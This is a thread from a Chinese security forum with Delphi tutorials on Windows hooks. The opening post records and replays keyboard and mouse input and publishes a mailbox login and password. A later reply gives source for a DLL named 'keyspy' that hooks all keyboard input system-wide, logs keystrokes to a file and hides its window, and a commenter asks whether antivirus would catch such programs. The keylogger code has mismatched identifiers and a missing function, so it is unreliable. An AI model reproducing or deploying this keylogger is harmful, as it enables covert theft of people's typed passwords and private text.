|
![]() | 作者: cimsxiyang [cimsxiyang]
![]() |
登录 |
Windows提供API函数SetwindowsHookEx来建立一个Hook,通过这个函数可以将一个程序添加到Hook链中监视Windows 消息,函数语法为: SetWindowsHookEx(idHook: Integer; lpfn: TFNHookProc; hmod: HINST; dwThreadId: DWORD) 其中参数idHook指定建立的监视函数类型。通过Windows MSDN帮助可以看到,SetwindowsHookEx函数提供15种不同 的消息监视类型,在这里我们将使用WH_JOURNALRECORD和WH_JOURNALPLAYBACK来监视键盘和鼠标操作。参数lpfn指定消 息函数,在相应的消息产生后,系统会调用该函数并将消息值传递给该函数供处理。函数的一般形式为: Hookproc (code: Integer; wparam: WPARAM; lparam: LPARAM): LRESULT stdcall; 其中code为系统指示标记,wParam和lParam为附加参数,根据不同的消息监视类型而不同。只要在程序中建立这样 一个函数再通过SetwindowsHookEx函数将它加入到消息监视链中就可以处理消息了。 在不需要监视系统消息时需要调用提供UnHookWindowsHookEx来解除对消息的监视。 WH_JOURNALRECORD和WH_JOURNALPLAYBACK类型是两种相反的Hook类型,前者获得鼠标、键盘动作消息,后者回放鼠 标键盘消息。所以在程序中我们需要建立两个消息函数,一个用于纪录鼠标键盘操作并保存到一个数组中,另一个用于 将保存的操作返给系统回放。 下面来建立程序,在Delphi中建立一个工程,在Form1上添加3个按钮用于程序操作。另外再添加一个按钮控件和一 个Edit控件用于验证操作。 下面是Form1的全部代码 unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm) Button1: TButton; Button2: TButton; Button3: TButton; Edit1: TEdit; Button4: TButton; procedure FormCreate(Sender: TObject); procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); procedure Button3Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; EventArr:array[0..1000]of EVENTMSG; EventLog:Integer; PlayLog:Integer; hHook,hPlay:Integer; recOK:Integer; canPlay:Integer; bDelay:Bool; implementation {$R *.DFM} Function PlayProc(iCode:Integer;wParam:wParam;lParam:lParam):LRESULT;stdcall; begin canPlay:=1; Result:=0; if iCode < 0 then //必须将消息传递到消息链的下一个接受单元 Result := CallNextHookEx(hPlay,iCode,wParam,lParam) else if iCode = HC_SYSMODALON then canPlay:=0 else if iCode = HC_SYSMODALOFF then canPlay:=1 else if ((canPlay =1 )and(iCode=HC_GETNEXT)) then begin if bDelay then begin bDelay:=False; Result:=50; end; pEventMSG(lParam)^:=EventArr[PlayLog]; end else if ((canPlay = 1)and(iCode = HC_SKIP))then begin bDelay := True; PlayLog:=PlayLog+1; end; if PlayLog>=EventLog then begin UNHookWindowsHookEx(hPlay); end; end; function HookProc(iCode:Integer;wParam:wParam;lParam:lParam):LRESULT;stdcall; begin recOK:=1; Result:=0; if iCode < 0 then Result := CallNextHookEx(hHook,iCode,wParam,lParam) else if iCode = HC_SYSMODALON then recOK:=0 else if iCode = HC_SYSMODALOFF then recOK:=1 else if ((recOK>0) and (iCode = HC_ACTION)) then begin EventArr[EventLog]:=pEventMSG(lParam)^; EventLog:=EventLog+1; if EventLog>=1000 then begin UnHookWindowsHookEx(hHook); end; end; end; procedure TForm1.FormCreate(Sender: TObject); begin Button1.Caption:='纪录'; Button2.Caption:='停止'; Button3.Caption:='回放'; Button4.Caption:='范例'; Button2.Enabled:=False; Button3.Enabled:=False; end; procedure TForm1.Button1Click(Sender: TObject); begin EventLog:=0; //建立键盘鼠标操作消息纪录链 hHook:=SetwindowsHookEx(WH_JOURNALRECORD,HookProc,HInstance,0); Button2.Enabled:=True; Button1.Enabled:=False; end; procedure TForm1.Button2Click(Sender: TObject); begin UnHookWindowsHookEx(hHook); hHook:=0; Button1.Enabled:=True; Button2.Enabled:=False; Button3.Enabled:=True; end; procedure TForm1.Button3Click(Sender: TObject); begin PlayLog:=0; //建立键盘鼠标操作消息纪录回放链 hPlay:=SetwindowsHookEx(WH_JOURNALPLAYBACK,PlayProc, HInstance,0); Button3.Enabled:=False; end; end. 转:http://cnprogram.myrice.com/article/delphi/delphi525.html [该程序在2k ,delphi 6下调试通过] 需要看执行情况可以到这里取: 20cnxiyang@21cn.com user:20cnxiyang pass:20cnxiyang 希望不要再次出现密码被改现象 [此贴被 夕阳(cimsxiyang) 在 4月24日16时18分 编辑过] |
地主 发表时间: 4/24 16:43 |
![]() | 回复: xiaojun [xiaojun] ![]() |
登录 |
好用,不错的。 |
B1层 发表时间: 04/27 22:04 |
![]() | 回复: guan [guan] ![]() |
登录 |
这些会不会程序会不会杀毒软件查到阿? |
B2层 发表时间: 05/08 11:29 |
![]() | 回复: top [top] ![]() |
登录 |
有基础的东西吗? 这个我看不懂 |
B3层 发表时间: 05/10 08:10 |
![]() | 回复: temp2002 [temp2002] ![]() |
登录 |
这样的文章最让大家高兴了 |
B4层 发表时间: 05/10 11:10 |
![]() | 回复: guan [guan] ![]() |
登录 |
没人理我 55555555555 |
B5层 发表时间: 05/11 19:54 |
![]() | 回复: cimsxiyang [cimsxiyang] ![]() |
登录 |
努力提高自己, 和大家一起进步,没有谁理会和不理会谁的说法 |
B6层 发表时间: 05/11 20:07 |
![]() | 回复: sainthero [sainthero] ![]() |
登录 |
呵呵 大有收获 |
B7层 发表时间: 05/23 01:07 |
![]() | 回复: sainthero [sainthero] ![]() |
登录 |
另外我这里也有一段很不错的程序给大家分享 利用Hook技术实现键盘监控 一、Hook(钩子)的实现: ---- Hook是应用程序在Microsoft Windows 消息处理过程中设置的用来监控消息流并且 处理系统中尚未到达目的窗口的某一类型消息过程的机制。如果Hook过程在应用程序中 实现,若应用程序不是当前窗口时,该Hook就不起作用;如果Hook在DLL中实现,程序在 运行中动态调用它,它能实时对系统进行监控。根据需要,我们采用的是在DLL中实现H ook的方式。 ---- 1.新建一个导出两个函数的DLL文件,在hookproc.pas中定义了钩子具体实现过程 。代码如下: library keyspy; uses windows, messages, hookproc in 'hookproc.pas'; exports setkeyhook, endkeyhook; begin nexthookproc:=0; procsaveexit:=exitproc; exitproc:=@keyhookexit; end. 2.在Hookproc.pas中实现了钩子具体过程: unit hookproc; interface uses Windows, Messages, SysUtils, Controls, StdCtrls; var nexthookproc:hhook; procsaveexit:pointer; function keyboardhook(icode:integer;wparam:wparam; lparam:lparam):lresult;stdcall;export; function setkeyhook:bool;export;//加载钩子 function endkeyhook:bool;export;// 对 钩子 procedure keyhookexit;far; const afilename='c:\debug.txt';//将键盘输入动作写入文件中 var debugfile:textfile; implementation function keyboardhookhandler(icode:integer;wparam:wparam; lparam:lparam):lresult;stdcall;export; begin if icode<0 then begin result:=callnexthookex(hnexthookproc,icode,wparam,lparam); exit; end; assignfile(debugfile,afilename); append(debugfile); if getkeystate(vk_return)<0 then begin writeln(debugfile,''); write(debugfile,char(wparam)); end else write(debugfile,char(wparam)); closefile(debugfile); result:=0; end; function endkeyhook:bool;export; begin if nexthookproc<>0 then begin unhookwindowshookex(nexthookproc); nexthookproc:=0; messagebeep(0); end; result:=hnexthookproc=0; end; procedure keyhookexit;far; begin if nexthookproc<>0 then endkeyhook; exitproc:=procsaveexit; end; end. ---- 二、Win95/98使用任务栏右方指示区来显示应用程序或工具图标对指示区图标的操 作涉及了一个API函数Shell_NotifyIcon,它有两个参数,一个是指向TnotifyIconData 结构的指针,另一个是要添加、删除、改动图标的标志。通过该函函数将应用程序的图 标添加到指示区中,使其作为图标运行,增加专业特色。当程序起动后,用鼠标右键点击 图标,则弹出一个菜单,可选择sethook或endhook。 unit kb; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Menus,shellapi; const icon_id=1; MI_iconevent=wm_user+1;//定义一个用户消息 type TForm1 = class(TForm) PopupMenu1: TPopupMenu; sethook1: TMenuItem; endhook1: TMenuItem; N1: TMenuItem; About1: TMenuItem; Close1: TMenuItem; Gettext1: TMenuItem; procedure FormCreate(Sender: TObject); procedure sethook1Click(Sender: TObject); procedure endhook1Click(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure Close1Click(Sender: TObject); private { Private declarations } nid:tnotifyicondata; normalicon:ticon; public { Public declarations } procedure icontray(var msg:tmessage); message mi_iconevent; end; var Form1: TForm1; implementation {$R *.DFM} function setkeyhook:bool;external 'keyspy.dll'; function endkeyhook:bool;external 'keyspy.dll'; procedure tform1.icontray(var msg:tmessage); var pt:tpoint; begin if msg.lparam=wm_lbuttondown then sethook1click(self); if msg.LParam=wm_rbuttondown then begin getcursorpos(pt); setforegroundwindow(handle); popupmenu1.popup(pt.x,pt.y); end; end; procedure TForm1.FormCreate(Sender: TObject); begin normalicon:=ticon.create; application.title:=caption; nid.cbsize:=sizeof(nid); nid.wnd:=handle; nid.uid:=icon_id; nid.uflags:=nif_icon or nif_message or nif_tip; nid.ucallbackmessage:=mi_iconevent; nid.hIcon :=normalicon.handle; strcopy(nid.sztip,pchar(caption)); nid.uFlags:=nif_message or nif_icon or nif_tip; shell_notifyicon(nim_add,@nid); SetWindowLong(Application.Handle, GWL_EXSTYLE,WS_EX_TOOLWINDOW); end; procedure TForm1.sethook1Click(Sender: TObject); begin setkeyhook; end; procedure TForm1.endhook1Click(Sender: TObject); begin endkeyhook; end; procedure TForm1.FormDestroy(Sender: TObject); begin nid.uFlags :=0; shell_notifyicon(nim_delete,@nid); end; procedure TForm1.Close1Click(Sender: TObject); begin application.terminate; end; ---- 该程序虽然只用了几个shellai函数,但是它涉及到了在Delphi中对DLL的引用、钩 子实现、对指示区的操作、用户定义消息的处理、文件的读写等比较重要的内容,我相 信这篇文章能对许多Delphi的初学者有所帮助。 |
B8层 发表时间: 05/23 01:10 |
![]() | 回复: cimsxiyang [cimsxiyang] ![]() |
登录 |
确实很不错的 钩子函数很有用的. |
B9层 发表时间: 08/28 22:06 |
![]() | 回复: mercybirth [mercybirth] ![]() |
登录 |
windows用户层钩子函数在真正的应用上使用不多,主要是在游戏开发时有一番作为。但是呢,hook device还是很有用的,呵呵,看看Regmon的源码。 |
B10层 发表时间: 08/31 11:38 |
![]() | 回复: yjyygywcw [yjyygywcw] ![]() |
登录 |
太长,看行眼花。 |
B11层 发表时间: 08/07 20:13 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号